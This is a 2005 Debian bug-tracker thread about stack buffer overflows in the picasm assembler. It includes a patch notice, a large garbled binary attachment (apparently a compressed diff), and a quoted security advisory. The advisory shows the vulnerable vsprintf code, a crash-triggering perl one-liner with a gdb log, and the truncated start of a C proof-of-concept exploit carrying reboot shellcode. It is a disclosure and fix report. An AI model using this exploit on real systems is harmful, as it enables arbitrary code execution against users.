Bug#309982: Multiple buffer overflows in picasm

2005-05-21 Thread Torsten Werner
tags 309982 + patch
thanks

On 2005-05-21, Moritz Muehlenhoff wrote:
 FIX INFORMATION
 *
 The maintainer, Timo Rossi, has fixed the picasm packages and provided
 a new security release, picasm 1.12c.  The fixed packages are
 available from http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz.
 
 Thanks to Timo Rossi for his cooperation in fixing the issue.

The mentioned file is actually in bzip2 format, but it can be easily
recompiled with the last Debian diff for version 1.12b. I am attaching
an updated diff for version 1.12c.

Regards,
Torsten

‹`£BíZksGýl~Å];µ†BDv²ˆyhÅñfS®iÄÄó 
óR¶ö¿ï¹Ý=£ÁBvRûi«¢re¦{º}û¾I¥R¡­³²¯R3jõ•„ÎmÕKÇò«³A·?jT(•J{K¯:?§ŠY6©T+ŸÐùy¡¤¶PÍ0[´Bê.†ÝI¡T9øW(J‹ÑÖZ}²n­‚0Ñ6ðíˆâ€âPPwŒœÀ§`­™*Ó7dag¼ÚÐwüÛBerKŽ¯vÖWM³M—7óÁœ±Š`0å%…Hè,²¼su
 äöM™_¦Ú1õj§§mª5:f­s’Y3ÍBåKr´0zV|òcNju)µ$
«KÇW/ÑÆ
EÕVUP÷–·uEôe²aÂKž£«¾æ·›’ò«¿U5ñªg}TYcŽÆ][(³-ÇfÁ¼¤LËsKsÏr]^?—
RžvZ1%Þ0½îV„½ÜàŽ·à{³hOí‡@ˆC‚ž ×ñô|Z‡Ç 9êNÛ
,OÄÀåK}E7þ*ðáí(ýIBèŒÏê³A^`¦!î·ASÿêÙÅtx]cˆÇéÞt|[EMAIL PROTECTED]
GýÓëÅp:™‹ÅB‰ð§¡J€šš 
àFâéоp4_qLeû,iùõ‹Ä3¬8LDŽF¡´L×î|T¢wªçS(½ýXD1´˜7¼À¿Wm×ó,m¹xß:P
  ÖmÜü‹oŽÆÝwƒ¢èë—ß©·âK‰ ŒyBiå
Ëÿœx:ƒ Æ(ô ¹ùðxºî#œ2%[²ÖP%m¬”N¾¨¤|ËÅ
ÕùœèÞð3Á~é4)6U©‘Ržå…Q“fS›{j|Úg¤F½¿¼u|[EMAIL PROTECTED](*PL±…‚±I®v
,[EMAIL PROTECTED]KñËôxér_¹ˆTôÁ*r~Î'gùežµŠ„¿?éøÎú*ü} 
ËßÂd½/ñA?a×ìýnp‘´®‹Z‹`…ˆ§šII8aoŸe\¿G×YB~úó­€7õ!WóÀÞW®Ñ»%)˜”©„*”¢
WÎzÿùøçbµ  èÍßëô­íJ|\¾ `.ÂU8½ýt[Ñë*Ëo¿§µ%ýkªP€œöQN5
%ãúj:ÁçVë÷/å,Ö=˜Wä‚s£ƒó^j´³m«ÎïÂfkø,ÙÏbˆ5ê+yŒ´£a¬ ƒï–
ho7q¼íT«»ÝÎp9ÆB¢ÈaŸPå}7[˜‰°êñ;´p¼€f¼†ÎÔÚsµó
/ï¥çì­f¥nšfn?¯¸†¦:‘LúeÇ8ñmh±[EMAIL 
PROTECTED]@PÄelÁÆà9,™mJX*s‚(XÇ;VÖ 
+Š‚•cRó²8GãˆCÁÞñ²(©ØÂrË8‘~“©RÄ²ëpd¢Y†‡Y¹‰Í\¤Ÿ]Çs4   
Þ.,·,Y-sŽâ¬ù)äÉÒu¢MúÎØË$Æd+áó.œ¤ŠD;ìÌá€uyÜGþäæžÍµ˜dôÛmp×{gqÀÑyˆ
[»Þ(4…—MÓòuàºÁŽO7a;|¨¨£òyHw\¢Gîh³•}¼\ý 1!j)´Ô;[EMAIL 
PROTECTED]½ìÎ1~Y¦÷ÃÅÕôfAX1ëNhzIÝÉz7œôË4øéz6˜Ïi:ƒyŒ¯GÇ“Þè¦?œ¼¥lœL4Ž‡ .¦Ä5ÖÅÐYï
ÃîÅp4\|(J—ÃQ/§3êÒuw¶önFÝ]ߑƒ‚p'ÃÉådãÁdaèb’?bDó«îhÄÄ
¥î
N0c©7½þ0¾½ZÐÕtÔ`òb溣†ƒõFÝá¸Lýî¸ûv 
wMƒóñ:Å!½¿ðSìâ_óFJo:YÌ0,E¶÷ýp([EMAIL PROTECTED](Î2DT‹ÝÀpI“ý[4ö5K+?Tš
‚’ÜéÜ
v¶…©=1xiÍÆH(-•îNÖ9Q$¼¥+ñ¯žFÝç½z¶çÕ[Í|‰|$7TL£V¤„c1(OI÷á5l‹Lôùb‡ôT;ÛP
 (áäG“ñ
ÒÊEYuèU{¯Ë-à|„QŒÊé½}Èå,Þ|‘Kq™ê5[:‚ÃI§^MŒ+Ïê²ò5F'U_\Z:{éÕ*Hž=©ORÖG‰Ü9+ê#ó¿k}Öe\«·RÖT«u§æëæc}Œ˜Áq;ê¥r­™“v»HN¨{e(àŽ~ª

?¸™nþùóP›¦ð¯à¿F5³c¶;Íú¡ó´¾zšÜI!=v_R£tém Ö9ÓYEtþ›eäX1R¶»vÈ.ÿ-ñßóud‡Åàw±IÊÔ0úo5¿ú1®à0¿¦Q?'l'ñR¦/[EMAIL
 PROTECTED]([EMAIL PROTECTED]Üpd±‘II¤†Ñ4LõùZ§_Œ‡xÉa7ë6C)±] “úg€dôSì 
8+h)8¨é‰¯gšãfe™j,=®Úü
ç;‡½Ã:¬¬¨îœ [EMAIL 
PROTECTED],ÎG©Î+mÀ_¨µuàZ\+e¢K‰¨µ\lç›stg¹‰ÊMtcn-»CG‘ìØ(DK8¿£ºz§ÙPŽà‰‘gþYyîy±±T.diä,™í®ŠbU
 í]ãH81Nöª}ÜhSÉÉ~ˆ-›¢(¢V­ôŒWR¡
À×k+Žél#¹ê„ý]ܦYÝì4O:‡•CÇ,¦ã%ì$Ú
®CoI„!8‚JëjO¿™xçÏî;‚›qgŸ08BÚt)–[:—³ù”­Ù¢*æÔNËüòp:e:yä®óø´ck¾Ržé
÷ÙâL}Ïñš
âsY`vô.ŒU{¹C™ „‹Qq[þ7ëü‘ÐP(ÉG¥/ûð7Y/•ŽŸ2
6OWåGe‚éÂNe!¥Ø#«Ý\ÃeS¡”ÁóoUâwôÌø[´
­:]7M‘¤³UpK×Ã^e
åuô¤³;éúùU¶ù   
i€`-Þg(3ÿˆT6÷«”oZì!a¿Âö3_8c¼¶BTÖ}‘¢ÜÈ=«ÛuE}0jÏ*K¶ 
ŸòJm1æW4鎙=ü«ò™(÷¥à=‘#Ì?L¦×óágW?W‚³`ù«oyâÍ/¹g(c6a9t6÷mO¿ÔZ¿¨0þ0q¦­¶@³V¼õŒ!$*3¸iøÝl
Áý®¡ÒYB_þbds}ÕÃãªþLµiêúø£¸ßqŸÉ‡hàsú@[EMAIL PROTECTED]¨ 
¼%Ì]ØO¦ôžM×#²ké¬LuNÈØFFq—ßüã4ƒÛ
VÈÝ’å:÷'ÞW/+kÈFUåcd_3LVº8ö+K”ü¨˜ÑýBéÅ’ñڌá‚ð!Èz¡e$dça}cÐ\ 
ÞÃ_W ˆhÅM3Á-
™/YÀõpOŽü…H¢×L9bMÍdõS{œi+¦#Ýû-;j­Ü
övJ9§ÙÄ}îb°•©9-Ð#•””Urr*Ÿ­“š~Öñl­šúq|dÕ[S=Zêq’ݏœm՞nj5Ô#Ci5³7ÔÚ:Q'5S?®y;i¤
 
'p[QjçàÖíc©ÙJÙÓgË®eš;6M³˜w5è½Ó2DipË^ÃåÍhD£á|aSÏÑÌ{³¡tòÇWDóƒ?3H?([EMAIL
 PROTECTED](«¹Úk7J»ó|3EÌÚ5$ÿjHþü«!ùÿT¿N÷¿œðÇüK¹.$ûíì}{°G/ü 
ÒìÜ0$

Bug#309982: Multiple buffer overflows in picasm

2005-05-20 Thread Moritz Muehlenhoff
Package: picasm
Severity: grave
Tags: security
Justification: user security hole

Multiple buffer overflows in picasm's code for generating error messages
have been found that can be exploited through crafted source code with
overly long preprocessor directives. For full details please see this
advisory by Shaun Colley, for which I could not find an online reference:

Cheers,
Moritz


picasm error handling stack overflow vulnerability

Name: picasm error handling stack overflow
Versions Affected: picasm = 1.12b
Severity: Medium/High
Impact: Arbitrary code execution
Maintainer's Website: http://www.co.jyu.fi/~trossi
Author: Shaun Colley
Vendor Notified: May 7th 2005
Public Disclosure: May 20th 2005


BACKGROUND
**
picasm is a Microchip PIC16Cxx assembler, designed to run on most
UNIX-like operating systems.  picasm now extends support to several
other PICs, including the 2c508 and 12c509 devices.

picasm is available via the FreeBSD ports system as devel/picasm.  The
maintainer, Timo Rossi, also provides it on his microcontroller web
page http://www.co.jyu.fi/~trossi/pic.


DETAILS

When generating error and warning messages, picasm copies strings into
fixed length buffers without bounds checking.  Below is the
responsible code.

---
void
warning(char *fmt, ...)
{
   char outbuf[128];
   va_list args;

   err_line_ref();
   strcpy(outbuf, Warning: );
   va_start(args, fmt);
   vsprintf(outbuf+9, fmt, args); [1]

...


void
error(int lskip, char *fmt, ...)
{
   va_list args;
   char outbuf[128];

   err_line_ref();
   strcpy(outbuf, Error: );
   va_start(args, fmt);
   vsprintf(outbuf+7, fmt, args); [2]

...

void
fatal_error(char *fmt, ...)
{
   va_list args;
   char outbuf[128];

   err_line_ref();
   strcpy(outbuf, Fatal error: );
   va_start(args, fmt);
   vsprintf(outbuf+13, fmt, args); [3]

...
}
---

Where [1], [2] and [3], the error handling routines call vsprintf() to
copy a passed format string into a fixed length buffer.  If the 'fmt'
function argument could be controlled, a stack overflow could occur.

As the author explains in the documentation, picasm supports an
'error' directive similar to NASM's '%error' preprocessor.

 ...
 error error_message   Causes an assembly error.
 ...

An overly long error_message provided to an 'error' directive in a
source file would cause calling of error() and result in a stack
overflow as seen in [2].

If an attacker could trick a user into assembling a source file with a
malformed 'error' directive, arbitrary code could be executed with the
privileges of the user.  This could result in full system compromise.

There may be other attack vectors, such as causing picasm to generate
a long warning message, but this has not been investigated.


EXPLOITATION
**
An attacker who can convince a user to assemble a malformed source
file can execute arbitrary code with the privileges of the user.

Exploitation is straight forward.  The log below shows sample exploitation.

---
bash-3.00# echo `perl -e 'print error  . ax2000'`  test.asm
bash-3.00# picasm test.asm
test.asm:1:
error 
aa
Error: 

Segmentation fault (core dumped)
bash-3.00# gdb -q -c picasm.core
Core was generated by `picasm'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) quit
bash-3.00#
--

A proof-of-concept exploit has been written and successfully tested
using the picasm (v1.12b) port on FreeBSD 5.3-RELEASE.  The exploit
crafts a file with a malformed 'error' directive which causes
execution to be directed to reboot() shellcode upon overflow.

---
/* picasm_exploit.c - by Shaun Colley shaun rsc cx
 *
  * This code generates a picasm source file with a malformed 'error' directive,
  * which exploits a stack overflow vulnerability in picasm's error printing
 * routines.  The file generated by this exploit will only cause execution
  * of FreeBSD 'reboot()' shellcode.  Exploit has been tested on
FreeBSD 5.3-RELEASE.
  * Return address into shellcode may need changing on other operating system
  * versions.  Other shellcodes can potentially be used instead of the
one below.
 *
  * A fix has been provided by picasm's maintainer.  The fixed packages can be
 * found at http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz.
 */

#include stdio.h
#include stdlib.h

  /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =
  \x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80;

int main(int argc, char *argv[]) {

  if(argc  2) {
printf(syntax: %s outfile\n, argv[0]);
return 1;
  }

char buf[144];

  /* FreeBSD